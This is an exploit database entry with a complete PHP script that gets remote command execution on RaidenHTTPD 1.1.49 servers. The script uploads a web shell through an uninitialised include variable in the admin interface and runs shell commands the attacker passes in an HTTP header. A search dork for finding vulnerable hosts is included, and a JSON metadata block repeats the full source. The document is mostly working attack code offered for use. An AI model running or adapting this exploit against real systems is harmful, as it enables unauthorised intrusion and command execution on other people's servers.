ID 1337DAY-ID-8750 Type zdt Reporter rgod Modified 2006-09-08T00:00:00
Description
Exploit for unknown platform in category remote exploits
====================================================================
RaidenHTTPD 1.1.49 (SoftParserFileXml) Remote Code Execution Exploit
====================================================================
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
-----------------------------------------------------------------------------
RaidenHTTPD/1.1.49 remote commands execution exploit
by rgod [email protected]
site: http://retrogod.altervista.org
dork: Powered.by.RaidenHTTPD +intitle:index.of | inurl:raidenhttpd-admin
-johnny -GHDB
-----------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host cmd OPTIONS
host: target server (ip/hostname)
cmd: a shell command
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 ver -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 dir /q -p81
-----------------------------------------------------------------------------
');
die;
}
/*
software site: http://www.raidenhttpd.com/en/
description: "RaidenHTTPD is a fully featured web server software for Windows 98 / Me / 2000 / XP / 2003 platforms."
explanaition: this software carries a PHP interpreter (4.4.1 version...)
and you have an administrative interface in /raidenhttpd-admin folder
but... you can have anauthorized access to some scripts in
/raidenhttpd-admin/slice folder, in check.php at line 35 u have:
...
include_once($SoftParserFileXml); // This is the parser class.
...
$SoftParserFileXml var is not initizialized so u can include
an arbitrary uploaded temporary file or arbitrary http location
also register_globals and allow_url_fopen are enabled by default (harakiri?)
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$cmd="";
$port=80;
$proxy="";
for ($i=2; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p="/";} else {$p='http://'.$host.':'.$port."/";}
$data ="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"SoftParserFileXml\"; filename=\"suntzu\";\r\n";
$data.="Content-Type: image/jpeg;\r\n\r\n";
$data.="<?php set_time_limit(0); echo 'my_delim';passthru(\$_SERVER['HTTP_SUNTZU']);die;?>\r\n";
$data.="-----------------------------7d529a1d23092a--\r\n";
$packet ="POST ".$p."raidenhttpd-admin/slice/check.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="SUNTZU: $cmd\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"my_delim")){
echo "exploit succeeded...\n";$temp=explode("my_delim",$html);die($temp[1]);
}
echo "exploit failed...";
?>
# 0day.today [2018-02-06] #
{"published": "2006-09-08T00:00:00", "id": "1337DAY-ID-8750", "cvss": {"score": 0.0, "vector": "NONE"}, "description": "Exploit for unknown platform in category remote exploits", "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2018-02-07T01:13:13", "rev": 2}, "dependencies": {"references": [], "modified": "2018-02-07T01:13:13", "rev": 2}, "vulnersScore": 0.1}, "type": "zdt", "lastseen": "2018-02-07T01:13:13", "edition": 2, "title": "RaidenHTTPD 1.1.49 (SoftParserFileXml) Remote Code Execution Expl", "href": "https://0day.today/exploit/description/8750", "modified": "2006-09-08T00:00:00", "bulletinFamily": "exploit", "viewCount": 5, "cvelist": [], "sourceHref": "https://0day.today/exploit/8750", "references": [], "reporter": "rgod", "sourceData": "====================================================================\r\nRaidenHTTPD 1.1.49 (SoftParserFileXml) Remote Code Execution Exploit\r\n====================================================================\r\n\r\n#!/usr/bin/php -q -d short_open_tag=on\r\n<?\r\nprint_r('\r\n-----------------------------------------------------------------------------\r\nRaidenHTTPD/1.1.49 remote commands execution exploit\r\nby rgod [email\u00a0protected]\r\nsite: http://retrogod.altervista.org\r\ndork: Powered.by.RaidenHTTPD +intitle:index.of | inurl:raidenhttpd-admin\r\n-johnny -GHDB\r\n-----------------------------------------------------------------------------\r\n');\r\nif ($argc<3) {\r\nprint_r('\r\n-----------------------------------------------------------------------------\r\nUsage: php '.$argv[0].' host cmd OPTIONS\r\nhost: target server (ip/hostname)\r\ncmd: a shell command\r\nOptions:\r\n -p[port]: specify a port other than 80\r\n -P[ip:port]: specify a proxy\r\nExample:\r\nphp '.$argv[0].' 2.2.2.2 ver -P1.1.1.1:80\r\nphp '.$argv[0].' 1.1.1.1 dir /q -p81\r\n-----------------------------------------------------------------------------\r\n');\r\ndie;\r\n}\r\n/*\r\nsoftware site: http://www.raidenhttpd.com/en/\r\ndescription: \"RaidenHTTPD is a fully featured web server software for Windows 98 / Me / 2000 / XP / 2003 platforms.\"\r\n\r\nexplanaition: this software carries a PHP interpreter (4.4.1 version...)\r\nand you have an administrative interface in /raidenhttpd-admin folder\r\nbut... you can have anauthorized access to some scripts in\r\n/raidenhttpd-admin/slice folder, in check.php at line 35 u have:\r\n\r\n...\r\ninclude_once($SoftParserFileXml);\t// This is the parser class.\r\n...\r\n\r\n$SoftParserFileXml var is not initizialized so u can include\r\nan arbitrary uploaded temporary file or arbitrary http location\r\n\r\nalso register_globals and allow_url_fopen are enabled by default (harakiri?)\r\n\r\n*/\r\nerror_reporting(0);\r\nini_set(\"max_execution_time\",0);\r\nini_set(\"default_socket_timeout\",5);\r\n\r\nfunction quick_dump($string)\r\n{\r\n $result='';$exa='';$cont=0;\r\n for ($i=0; $i<=strlen($string)-1; $i++)\r\n {\r\n if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))\r\n {$result.=\" .\";}\r\n else\r\n {$result.=\" \".$string[$i];}\r\n if (strlen(dechex(ord($string[$i])))==2)\r\n {$exa.=\" \".dechex(ord($string[$i]));}\r\n else\r\n {$exa.=\" 0\".dechex(ord($string[$i]));}\r\n $cont++;if ($cont==15) {$cont=0; $result.=\"\\r\\n\"; $exa.=\"\\r\\n\";}\r\n }\r\n return $exa.\"\\r\\n\".$result;\r\n}\r\n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)';\r\nfunction sendpacketii($packet)\r\n{\r\n global $proxy, $host, $port, $html, $proxy_regex;\r\n if ($proxy=='') {\r\n $ock=fsockopen(gethostbyname($host),$port);\r\n if (!$ock) {\r\n echo 'No response from '.$host.':'.$port; die;\r\n }\r\n }\r\n else {\r\n\t$c = preg_match($proxy_regex,$proxy);\r\n if (!$c) {\r\n echo 'Not a valid proxy...';die;\r\n }\r\n $parts=explode(':',$proxy);\r\n echo \"Connecting to \".$parts[0].\":\".$parts[1].\" proxy...\\r\\n\";\r\n $ock=fsockopen($parts[0],$parts[1]);\r\n if (!$ock) {\r\n echo 'No response from proxy...';die;\r\n\t}\r\n }\r\n fputs($ock,$packet);\r\n if ($proxy=='') {\r\n $html='';\r\n while (!feof($ock)) {\r\n $html.=fgets($ock);\r\n }\r\n }\r\n else {\r\n $html='';\r\n while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\r\n $html.=fread($ock,1);\r\n }\r\n }\r\n fclose($ock);\r\n #debug\r\n #echo \"\\r\\n\".$html;\r\n}\r\n\r\n$host=$argv[1];\r\n$cmd=\"\";\r\n$port=80;\r\n$proxy=\"\";\r\nfor ($i=2; $i<$argc; $i++){\r\n$temp=$argv[$i][0].$argv[$i][1];\r\nif (($temp<>\"-p\") and ($temp<>\"-P\")) {$cmd.=\" \".$argv[$i];}\r\nif ($temp==\"-p\")\r\n{\r\n $port=str_replace(\"-p\",\"\",$argv[$i]);\r\n}\r\nif ($temp==\"-P\")\r\n{\r\n $proxy=str_replace(\"-P\",\"\",$argv[$i]);\r\n}\r\n}\r\nif ($proxy=='') {$p=\"/\";} else {$p='http://'.$host.':'.$port.\"/\";}\r\n\r\n$data =\"-----------------------------7d529a1d23092a\\r\\n\";\r\n$data.=\"Content-Disposition: form-data; name=\\\"SoftParserFileXml\\\"; filename=\\\"suntzu\\\";\\r\\n\";\r\n$data.=\"Content-Type: image/jpeg;\\r\\n\\r\\n\";\r\n$data.=\"<?php set_time_limit(0); echo 'my_delim';passthru(\\$_SERVER['HTTP_SUNTZU']);die;?>\\r\\n\";\r\n$data.=\"-----------------------------7d529a1d23092a--\\r\\n\";\r\n$packet =\"POST \".$p.\"raidenhttpd-admin/slice/check.php HTTP/1.0\\r\\n\";\r\n$packet.=\"Host: \".$host.\"\\r\\n\";\r\n$packet.=\"SUNTZU: $cmd\\r\\n\";\r\n$packet.=\"Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\\r\\n\";\r\n$packet.=\"Content-Length: \".strlen($data).\"\\r\\n\";\r\n$packet.=\"Accept: text/plain\\r\\n\";\r\n$packet.=\"Connection: Close\\r\\n\\r\\n\";\r\n$packet.=$data;\r\nsendpacketii($packet);\r\nif (strstr($html,\"my_delim\")){\r\necho \"exploit succeeded...\\n\";$temp=explode(\"my_delim\",$html);die($temp[1]);\r\n}\r\necho \"exploit failed...\";\r\n\r\n?>\r\n\r\n\n# 0day.today [2018-02-06] #"}